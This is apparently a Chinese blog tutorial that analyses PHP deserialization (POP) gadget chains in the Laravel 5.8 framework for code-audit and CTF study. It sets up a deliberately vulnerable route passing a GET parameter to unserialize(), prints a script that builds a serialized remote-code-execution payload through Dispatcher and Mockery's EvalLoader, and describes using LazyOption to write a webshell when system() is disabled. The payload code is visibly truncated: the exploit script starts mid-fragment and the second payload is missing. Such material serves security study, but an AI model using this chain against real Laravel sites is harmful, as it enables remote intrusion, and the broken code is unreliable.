简介
Laravel
是一款比较流行的优秀 PHP 开发框架,通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的,本文分析了Laravel5
和Laravel8
两个版本的部分利用链,并结合CTF题目来学习Laravel
框架
安装:其中--prefer-dist
表示优先下载zip
压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php
中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public
目录起一个php
服务就可以进行测试了cd /public
php -S 0.0.0.0:port
/foo?c=
链一
链的入口是在
laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events
和$this->event
可控,
这里把$this->events
设为含有dispatch
方法的Dispatcher
类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
来
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command
(即传进来的$this->event
)要实现ShouldQueue
该接口
满足ShouldQueue
接口的实现类即可,再跟踪进dispatchToQueue
看一下public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver
和$connection
都是可控的,到这里就可以直接构造payload
rce
';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system
等函数,我们希望用file_put_contents
写shell
等双参数的函数呢,这里有一个好的跳板
laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback
,$this->arguments
是可控的,但是注意到option
的属性是private
,无法直接从我们刚刚的call_user_func
直接去调用它,但是有许多类似filter
的函数里面有调用option
的
这里可以直接构造payload
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录